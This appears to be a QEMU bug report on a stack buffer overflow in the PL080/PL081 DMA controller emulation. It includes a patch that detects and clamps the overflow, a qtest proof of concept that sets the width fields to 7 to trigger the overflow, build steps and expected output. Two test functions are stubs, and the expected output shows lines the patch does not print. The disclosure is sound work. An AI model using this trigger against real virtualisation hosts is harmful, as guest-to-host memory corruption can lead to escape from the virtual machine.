Stack Buffer Overflow in PL080/PL081 DMA Controller
Host environment
-
Operating system:
Ubuntu 24.04
-
OS/kernel version:
Linux Mewtwo 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
-
Architecture:
x86
-
QEMU flavor:
qemu-system-arm
-
QEMU version:
-
QEMU command line:
- OS/kernel version:-
Architecture:
Description of problem
Steps to reproduce
STEP 1: Apply Instrumentation Patch
This patch adds detection code that will:
- Check if swidth or dwidth exceeds buff[4] size
- Log detailed vulnerability information
- Limit the width to prevent actual overflow (for safe testing)
- Detect stack corruption using a canary value
Create file: pl080-instrumentation.patch
diff --git a/hw/dma/pl080.c b/hw/dma/pl080.c index xxxxxxxxxx..yyyyyyyyyy 100644 --- a/hw/dma/pl080.c +++ b/hw/dma/pl080.c @@ -103,6 +103,10 @@ static void pl080_run(PL080State \*s) uint8_t buff\[4\]; uint32_t req; + /\* Instrumentation: Stack canary for overflow detection \*/ + uint64_t stack_canary_before = 0xDEADBEEFCAFEBABEULL; + bool overflow_detected = false; + s-\>tc_mask = 0; for (c = 0; c \< s-\>nchannels; c++) { if (s-\>chan\[c\].conf & PL080_CCONF_ITC) @@ -168,6 +172,32 @@ static void pl080_run(PL080State \*s) swidth = 1 \<\< ((ch-\>ctrl \>\> 18) & 7); dwidth = 1 \<\< ((ch-\>ctrl \>\> 21) & 7); + /\* Instrumentation: Detect stack overflow trigger condition \*/ + if (swidth \> sizeof(buff) || dwidth \> sizeof(buff)) { + qemu_log_mask(LOG_GUEST_ERROR, + "!!! CVE STACK OVERFLOW DETECTED !!!\\n" + "pl080_run: Buffer overflow attempt!\\n" + " buff size: %zu bytes\\n" + " swidth: %d bytes (ctrl\[20:18\] = %d)\\n" + " dwidth: %d bytes (ctrl\[23:21\] = %d)\\n" + " Overflow: %d bytes beyond stack buffer!\\n" + " This would corrupt the stack and potentially overwrite:\\n" + " - Local variables\\n" + " - Saved frame pointer\\n" + " - Return address (RIP/PC)\\n" + " **CRITICAL**: Potential host code execution!\\n", + sizeof(buff), + swidth, (ch-\>ctrl \>\> 18) & 7, + dwidth, (ch-\>ctrl \>\> 21) & 7, + (swidth \> dwidth ? swidth : dwidth) - (int)sizeof(buff)); + + /\* Limit width to prevent actual overflow \*/ + if (swidth \> sizeof(buff)) { + swidth = sizeof(buff); + } + if (dwidth \> sizeof(buff)) { + dwidth = sizeof(buff); + } + overflow_detected = true; + } + for (n = 0; n \< dwidth; n+= swidth) { address_space_read(&s-\>downstream_as, ch-\>src, MEMTXATTRS_UNSPECIFIED, buff + n, swidth); @@ -247,6 +277,18 @@ static void pl080_run(PL080State \*s) s-\>running = 1; } + /\* Instrumentation: Check stack canary \*/ + if (stack_canary_before != 0xDEADBEEFCAFEBABEULL) { + qemu_log_mask(LOG_GUEST_ERROR, + "!!! STACK CANARY CORRUPTED !!!\\n" + "pl080_run: Stack corruption detected!\\n" + " This indicates the stack buffer overflow succeeded!\\n"); + } + + if (overflow_detected) { + qemu_log_mask(LOG_GUEST_ERROR, + "pl080_run: Overflow was detected and mitigated.\\n"); + } + pl080_update(s); } Apply the patch:and
cd /path/to/qemu patch -p1 \< pl080-instrumentation.patchSTEP 2: Add qtest Test Cases
Create file: pl080-cve-test.c (place in tests/qtest/)
/* * QTest testcase for PL080/PL081 DMA Stack Buffer Overflow CVE */ #include "qemu/osdep.h" #include "libqtest-single.h" #define PL081_BASE 0x40100000 /* PL080 register offsets */ #define PL080_CONFIG 0x030 #define PL080_CH0_BASE 0x100 #define PL080_CH_SRC_ADDR 0x000 #define PL080_CH_DST_ADDR 0x004 #define PL080_CH_LLI 0x008 #define PL080_CH_CONTROL 0x00C #define PL080_CH_CONFIG 0x010 /* Control and config bits */ #define PL080_CCTRL_I (1 << 31) #define PL080_CCTRL_DI (1 << 27) #define PL080_CCTRL_SI (1 << 26) #define PL080_CCONF_E (1 << 0) #define PL080_CCONF_ITC (1 << 15) #define PL080_CONF_E (1 << 0) #define SRC_ADDR 0x20000000 #define DST_ADDR 0x20001000 static void test_pl080_stack_overflow_width_128(void) { uint64_t ch0_base = PL081_BASE + PL080_CH0_BASE; g_test_message("\\n====================================================="); g_test_message("Stack buffer: uint8_t buff[4] (4 bytes)"); g_test_message("Setting width field to 7:"); g_test_message(" swidth = 1 << 7 = 128 bytes"); g_test_message(" dwidth = 1 << 7 = 128 bytes"); g_test_message("Overflow: 124 bytes beyond stack buffer!"); g_test_message("-----------------------------------------------------"); /* Initialize source buffer with test pattern */ for (uint32_t i = 0; i < 128; i++) { writeb(SRC_ADDR + i, 0x41 + (i % 26)); /* A-Z pattern */ } /* Enable DMA controller */ writel(PL081_BASE + PL080_CONFIG, PL080_CONF_E); /* Configure channel 0 for vulnerable transfer */ writel(ch0_base + PL080_CH_SRC_ADDR, SRC_ADDR); writel(ch0_base + PL080_CH_DST_ADDR, DST_ADDR); writel(ch0_base + PL080_CH_LLI, 0); /* ⚠️ CRITICAL: Set control register with width field = 7 * bits[20:18] = 7 (source width = 1 << 7 = 128 bytes) * bits[23:21] = 7 (dest width = 1 << 7 = 128 bytes) * bits[11:0] = 1 (transfer 1 element) */ uint32_t ctrl = (7 << 18) | (7 << 21) | PL080_CCTRL_SI | PL080_CCTRL_DI | PL080_CCTRL_I | 1; writel(ch0_base + PL080_CH_CONTROL, ctrl); g_test_message("Control register: 0x%08x", ctrl); g_test_message(" Source width (bits[20:18]): 7 → 128 bytes"); g_test_message(" Dest width (bits[23:21]): 7 → 128 bytes"); g_test_message(""); g_test_message("Enabling DMA channel..."); g_test_message("** This triggers stack buffer overflow! **"); /* Trigger DMA by enabling channel */ writel(ch0_base + PL080_CH_CONFIG, PL080_CCONF_E | PL080_CCONF_ITC); /* Wait for transfer */ clock_step(1000000); g_test_message("====================================================="); g_test_message("TRIGGERED!"); g_test_message("====================================================="); } static void test_pl080_stack_overflow_width_64(void) { /* Similar test with width=6 (64 bytes) */ /* ... implementation ... */ } static void test_pl080_stack_overflow_width_8(void) { /* Test with width=3 (8 bytes) */ /* ... implementation ... */ } int main(int argc, char **argv) { g_test_init(&argc, &argv, NULL); qtest_add_func("/pl080-cve/overflow-width8", test_pl080_stack_overflow_width_8); qtest_add_func("/pl080-cve/overflow-width64", test_pl080_stack_overflow_width_64); qtest_add_func("/pl080-cve/overflow-width128", test_pl080_stack_overflow_width_128); qtest_start("-machine mps2-an505 -d guest_errors"); int ret = g_test_run(); qtest_end(); return ret; }Add to tests/qtest/meson.build:
qtests_arm = [ ... 'pl080-cve-test', ... ]STEP 3: Build QEMU
cd /path/to/qemu ./configure --target-list=arm-softmmu --enable-debug make -j$(nproc) cd build ninja tests/qtest/pl080-cve-test
STEP 4: Run the PoC
cd /path/to/qemu # Set environment variable export QTEST_QEMU_BINARY=./build/qemu-system-arm # Run the test ./build/tests/qtest/pl080-cve-testEXPECTED OUTPUT
You should see output similar to this:
pl080_run: Buffer overflow attempt! buff size: 4 bytes swidth: 128 bytes (ctrl[20:18] = 7) dwidth: 128 bytes (ctrl[23:21] = 7) Overflow: 124 bytes beyond stack buffer! This would corrupt the stack and potentially overwrite: - Local variables - Saved frame pointer - Return address (RIP/PC) **CRITICAL**: Potential host code execution! Limiting swidth from 128 to 4 Limiting dwidth from 128 to 4 pl080_run: Overflow was detected and mitigated. ok 1 /arm/pl080-cve/overflow-width128Additional information
-